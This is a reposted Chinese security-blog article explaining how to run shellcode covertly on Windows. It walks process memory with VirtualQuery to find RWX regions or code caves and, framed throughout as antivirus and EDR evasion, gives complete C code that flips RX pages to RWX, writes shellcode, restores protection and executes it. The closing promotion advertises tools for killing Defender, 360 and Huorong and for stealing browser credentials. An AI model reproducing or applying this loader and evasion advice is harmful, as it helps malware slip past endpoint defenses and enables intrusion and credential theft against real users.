文章总结: 本文详解了Windows下遍历现有进程内存隐蔽执行ShellCode的技术。该方法利用VirtualQueryAPI查找RWX区域或RX属性的CodeCave,规避VirtualAlloc等敏感API调用,降低EDR检测风险。文章提供完整C代码实现内存枚举与注入执行。实战建议优先利用CodeCave注入合法模块,写入后及时恢复内存保护属性,并配合ShellCode加密混淆,以有效绕过内存属性监控与特征码检测。 综合评分: 85 文章分类: 免杀,渗透测试,红队,终端安全
内存遍历实战:在现有内存中隐蔽执行ShellCode
原创
星夜AI安全 星夜AI安全
星夜AI安全
2026年3月28日 21:26 北京
在Windows内存攻防领域,如何隐蔽地执行ShellCode,绕开系统监控与检测,是很多技术研究者关注的核心话题。常规的内存分配方式容易触发监控,而通过遍历进程内存、利用现有可执行区域注入代码,成为一种更具隐蔽性的实现思路。
今天我们就来深入拆解这一技术,从内存机制基础到实战代码实现,再到免杀应用细节,带你完整掌握这一实用技巧。
一、先搞懂核心概念:内存管理与关键术语
要理解内存遍历执行ShellCode的逻辑,首先需要明确几个核心概念,避免陷入技术细节的迷雾中。
1.1 核心术语解析
| 术语 | 说明 | | — | — | | 内存页 | 内存管理的最小单位,Windows系统中通常为4KB,就像把内存划分为一个个固定大小的“小格子”,方便系统管理和分配。 | | 内存区域 | 连续的内存页集合,这些页面具有相同的保护属性,是系统进行内存管理的基本单元。 | | Code Cave(代码洞穴) | 可执行模块中未被使用的空间,比如PE文件中的对齐填充、节区间隙,可用于隐蔽注入代码而不改变文件体积。 | | VirtualQuery | Windows系统提供的API,用于查询指定内存区域的详细信息,是内存遍历的核心工具。 |
1.2 关键内存保护属性
Windows系统通过内存保护属性限制对内存区域的操作,其中与ShellCode执行密切相关的属性如下(附核心宏定义):
#define PAGE_NOACCESS 0x01 // 不可访问,任何操作都会触发异常
#define PAGE_READONLY 0x02 // 只读,仅能读取内容,无法修改
#define PAGE_READWRITE 0x04 // 可读写,能读取和修改,但无法执行代码
#define PAGE_EXECUTE 0x10 // 可执行,仅能执行代码,无法读取或修改
#define PAGE_EXECUTE_READ 0x20 // 可读可执行,最常见的代码段属性(如正常程序的.text段)
#define PAGE_EXECUTE_READWRITE 0x40 // 可读写可执行(RWX),能执行、读取、修改,隐蔽性差但操作便捷
#define PAGE_GUARD 0x100 // 保护页,用于触发异常通知
其中,RWX属性在正常软件中极其罕见,几乎是在向安全软件“暴露异常”,而RX属性则是合法程序代码段的常规属性,更具隐蔽性。
二、核心逻辑:为什么要遍历内存块执行ShellCode?
常规的ShellCode执行方式,通常会调用VirtualAlloc等API分配新的内存区域,再写入代码执行。但这种方式存在明显弊端——VirtualAlloc等敏感API往往被系统监控工具重点关注,容易被检测到异常。
而遍历内存块执行ShellCode,核心是“利用现有资源、避免新增操作”,其优势主要体现在三点:
- 规避敏感API监控:不调用VirtualAlloc等易被检测的内存分配API,减少异常行为触发概率,降低被EDR、杀毒软件识别的风险。
- 复用现有可执行内存:系统中存在大量已分配、具有可执行属性(X、RX、RWX)的内存区域,直接利用这些区域,无需新增内存,避免内存分配异常被捕捉。
- Code Cave隐蔽注入:借助代码洞穴,将ShellCode注入到合法模块的未使用空间中,不影响原程序正常运行,同时实现代码的隐蔽执行,甚至可做到文件体积、哈希值不变,规避静态检测。
内存遍历的核心流程
整个技术的核心流程非常清晰,可概括为四步,无需复杂的逻辑设计:
- 从内存地址0开始,作为遍历的起始点;
- 调用VirtualQuery API,获取当前内存区域的详细信息(大小、保护属性、状态等);
- 检查该内存区域的属性,判断是否符合要求(已提交、具有可执行属性,且空间足够容纳ShellCode);
- 找到符合条件的区域后,写入ShellCode并执行,若未找到则继续遍历下一个区域。
三、实战实现:从内存遍历到ShellCode注入
下面通过三段核心代码,一步步实现从内存遍历、查找可执行区域,到最终注入执行ShellCode的完整流程,所有代码可直接编译运行(需基于Windows环境)。
3.1 遍历进程所有内存区域
首先实现内存遍历功能,打印当前进程所有已提交内存区域的地址、大小、状态和保护属性,直观了解进程内存分布:
#include <windows.h>
#include <stdio.h>
// 遍历当前进程的所有内存区域
void EnumerateMemory() {
MEMORY_BASIC_INFORMATION mbi;
LPVOID address = NULL;
printf("%-20s %-12s %-12s %-20s\n",
"Address", "Size", "State", "Protect");
printf("%s\n", "---------------------------------------------------------------");
// 循环遍历,直到VirtualQuery返回失败(遍历完成)
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
char state[20] = "";
char protect[30] = "";
// 解析内存状态(已提交/已保留/空闲)
switch (mbi.State) {
case MEM_COMMIT: strcpy(state, "COMMIT"); break;
case MEM_RESERVE: strcpy(state, "RESERVE"); break;
case MEM_FREE: strcpy(state, "FREE"); break;
}
// 解析已提交内存的保护属性,简化显示
if (mbi.State == MEM_COMMIT) {
if (mbi.Protect & PAGE_EXECUTE_READWRITE)
strcpy(protect, "RWX");
elseif (mbi.Protect & PAGE_EXECUTE_READ)
strcpy(protect, "RX");
elseif (mbi.Protect & PAGE_EXECUTE)
strcpy(protect, "X");
elseif (mbi.Protect & PAGE_READWRITE)
strcpy(protect, "RW");
elseif (mbi.Protect & PAGE_READONLY)
strcpy(protect, "R");
else
sprintf(protect, "0x%X", mbi.Protect);
}
// 只打印已提交的内存区域(可操作的有效内存)
if (mbi.State == MEM_COMMIT) {
printf("0x%p 0x%-10zX %-12s %-20s\n",
mbi.BaseAddress, mbi.RegionSize, state, protect);
}
// 移动到下一个内存区域
address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
}
}
int main() {
printf("========== 进程内存区域遍历 ==========\n");
EnumerateMemory();
return0;
}
运行后,会清晰看到进程中所有已提交内存的详细信息,比如哪些区域是RX属性(合法代码段),哪些是RWX属性(异常风险区域),为后续查找注入目标提供依据。
3.2 查找可执行内存区域(RWX + Code Cave)
遍历内存的核心目的,是找到可写入并执行ShellCode的区域,主要有两种思路:直接查找RWX区域,或查找Code Cave(代码洞穴),下面是完整实现:
#include <windows.h>
#include <stdio.h>
// 查找RWX(可读写可执行)内存区域
LPVOID FindRWXMemory(SIZE_T requiredSize) {
MEMORY_BASIC_INFORMATION mbi;
LPVOID address = NULL;
printf("[*] 正在查找RWX内存区域...\n");
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
// 条件:已提交、RWX属性、空间足够
if (mbi.State == MEM_COMMIT &&
(mbi.Protect & PAGE_EXECUTE_READWRITE) &&
mbi.RegionSize >= requiredSize) {
printf("[+] 找到RWX区域:0x%p (大小:0x%zX)\n",
mbi.BaseAddress, mbi.RegionSize);
return mbi.BaseAddress;
}
address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
}
printf("[-] 未找到RWX内存区域\n");
returnNULL;
}
// 查找Code Cave(代码洞穴):可执行区域中的未使用空间
LPVOID FindCodeCave(SIZE_T requiredSize) {
MEMORY_BASIC_INFORMATION mbi;
LPVOID address = NULL;
printf("[*] 正在查找代码洞穴...\n");
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
// 条件:已提交、具有可执行属性(X/RX)
if (mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ))) {
// 扫描内存区域末尾,寻找连续的空字节(0x00)或断点字节(0xCC)
LPBYTE pScan = (LPBYTE)mbi.BaseAddress + mbi.RegionSize - requiredSize;
BOOL allNull = TRUE;
for (SIZE_T i = 0; i < requiredSize; i++) {
if (pScan[i] != 0x00 && pScan[i] != 0xCC) {
allNull = FALSE;
break;
}
}
// 找到符合条件的代码洞穴
if (allNull) {
printf("[+] 找到代码洞穴:0x%p\n", pScan);
return pScan;
}
}
address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
}
printf("[-] 未找到可用代码洞穴\n");
returnNULL;
}
int main() {
// 示例ShellCode(4个int3断点 + 1个ret返回,用于测试)
unsignedchar shellcode[] = "\xCC\xCC\xCC\xCC";
SIZE_T shellcodeSize = sizeof(shellcode);
// 方法1:查找RWX区域
LPVOID pRWX = FindRWXMemory(shellcodeSize);
if (pRWX) {
printf("[*] 可将ShellCode写入RWX区域\n");
}
// 方法2:查找Code Cave(更隐蔽)
LPVOID pCave = FindCodeCave(shellcodeSize);
if (pCave) {
printf("[*] 可利用代码洞穴注入ShellCode\n");
}
return0;
}
这里需要注意:RWX区域虽然操作便捷,但在现代系统中极其罕见,容易被安全软件检测;而Code Cave借助合法模块的未使用空间,隐蔽性更强,是更推荐的注入方式。
3.3 注入ShellCode并执行
找到合适的内存区域后,下一步就是写入ShellCode并执行。针对不同的内存属性(RWX、RX),需要采用不同的处理方式,完整实现如下:
#include <windows.h>
#include <stdio.h>
// 示例ShellCode:4个nop指令(空操作) + ret返回(避免程序崩溃)
unsignedchar shellcode[] = {
0x90, 0x90, 0x90, 0x90, // nop sled(用于对齐和规避简单检测)
0xC3 // ret(执行完成后返回,防止程序异常)
};
// 在现有内存模块中注入并执行ShellCode
BOOL InjectToExistingModule() {
MEMORY_BASIC_INFORMATION mbi;
LPVOID address = NULL;
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
// 条件:已提交、空间足够容纳ShellCode
if (mbi.State == MEM_COMMIT && mbi.RegionSize >= sizeof(shellcode)) {
// 情况1:RWX属性,直接写入并执行
if (mbi.Protect & PAGE_EXECUTE_READWRITE) {
printf("[+] 找到RWX区域:0x%p\n", mbi.BaseAddress);
// 写入ShellCode(memcpy直接复制)
memcpy(mbi.BaseAddress, shellcode, sizeof(shellcode));
printf("[+] ShellCode写入成功!\n");
// 执行ShellCode(强制类型转换为函数指针并调用)
((void(*)())mbi.BaseAddress)();
return TRUE;
}
// 情况2:RX属性(合法代码段),先修改保护属性再写入
if (mbi.Protect & PAGE_EXECUTE_READ) {
DWORD oldProtect;
// 修改内存保护属性为RWX(临时)
if (VirtualProtect(mbi.BaseAddress, sizeof(shellcode),
PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[+] 已修改内存保护属性:0x%p\n", mbi.BaseAddress);
// 写入ShellCode
memcpy(mbi.BaseAddress, shellcode, sizeof(shellcode));
// 恢复原保护属性(减少异常痕迹)
VirtualProtect(mbi.BaseAddress, sizeof(shellcode),
oldProtect, &oldProtect);
// 执行ShellCode
((void(*)())mbi.BaseAddress)();
return TRUE;
}
}
}
address = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
}
return FALSE;
}
int main() {
printf("========== 现有内存ShellCode注入执行 ==========\n");
if (!InjectToExistingModule()) {
printf("[-] ShellCode注入执行失败\n");
}
return0;
}
关键细节:针对RX属性的内存区域,修改保护属性后需及时恢复,避免留下明显的异常痕迹;ShellCode中加入nop指令(空操作),可用于对齐,也能一定程度规避简单的特征码检测,这也是免杀优化的基础技巧。
四、免杀应用:优势与注意事项
这种内存遍历注入方式,在免杀场景中具有显著优势,但也存在一些需要规避的风险,掌握这些细节才能真正实现隐蔽执行。
4.1 核心优势(免杀关键点)
- 无敏感API调用:不使用VirtualAlloc等易被监控的内存分配API,减少被EDR、杀毒软件检测的概率,这也是其相比传统注入方式的核心优势。
- 内存行为隐蔽:利用系统现有内存区域,不新增内存分配,避免内存总量异常、内存属性异常等被检测的风险。
- 可寄生合法模块:通过Code Cave注入到系统合法进程(如notepad.exe)的内存中,借助合法进程的“身份”,进一步降低被检测的概率,甚至可实现原程序功能不受影响的隐蔽执行。
4.2 必须注意的风险点
- 内存保护修改风险:修改RX区域的保护属性(VirtualProtect调用),可能被EDR通过TI-ETW等技术检测到,这是目前安全软件针对此类注入的主要检测点之一。
- 目标区域占用风险:若注入的内存区域正在被程序正常使用,写入ShellCode会导致程序崩溃,暴露异常,因此需确保目标区域(尤其是Code Cave)未被使用。
- Code Cave大小限制:代码洞穴的空间通常较小,若ShellCode体积过大,可能无法找到合适的注入区域,需对ShellCode进行压缩、混淆优化。
- 特征码检测风险:即使注入方式隐蔽,若ShellCode本身存在已知特征码,依然会被安全软件检测到,因此需结合ShellCode加密、混淆等技巧,进一步提升免杀效果。
五、延伸思考:深入理解内存攻防
掌握上述技术后,结合当前内存攻防的现状,有两个核心问题值得深入思考,这也是区分技术深度的关键:
- 现代系统中,RWX内存为什么很少见? 核心原因是安全设计:RWX属性允许代码被修改并执行,存在极大的安全隐患,容易被恶意代码利用。现代操作系统和编译器会严格限制RWX内存的创建,仅部分特殊场景(如JIT编译、加壳软件)会出现少量RWX区域,这也是安全软件重点监控RWX区域的原因之一,未做优化的恶意代码使用RWX区域,存活时间往往极短(通常不足2分钟)。
- 如何检测进程中的异常内存属性修改? 目前主流的检测方式有三种:一是监控VirtualProtect API调用,检测内存属性从RX到RWX的异常切换;二是通过VAD(虚拟地址描述符)遍历,监控非MEM_IMAGE类型的可执行内存区域;三是结合调用栈完整性校验、动态指令追踪等技术,检测异常的内存操作和ShellCode执行行为,不过这类高级检测技术成本较高,仅在部分高端EDR中应用。
最后
内存遍历执行ShellCode,核心是“隐蔽性”——利用系统现有资源,规避敏感操作,减少异常痕迹。这种技术不仅适用于免杀场景,也能帮助我们更深入地理解Windows内存管理机制,以及内存攻防的核心逻辑。
需要注意的是,本文分享的技术仅用于学习和研究,旨在帮助开发者了解系统安全漏洞、提升安全防护能力,严禁用于非法用途。
后续我们将进一步分享内存攻防的进阶技巧——重写R3 API,通过重新实现底层API,绕过系统Hook检测,进一步提升代码的隐蔽性,敬请关注。
关注微信公众号后台回复入群 即可加入星夜AI安全交流群
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。
已产出的安全工具及成果包括:
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
- _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- win11 一键kill 360工具 InjectKill(包含源码)
- win11 一键kill defender工具win11_df-killer(包含源码)
- 免杀火绒6.0内存防护加载器BypassMemLoader
- 单文件bypass360加载器
后续将不断更新到内部圈子中 欢迎加入圈子
愿风指引着你的道路,愿你的刀刃永远锋利
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《内存遍历实战:在现有内存中隐蔽执行ShellCode》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论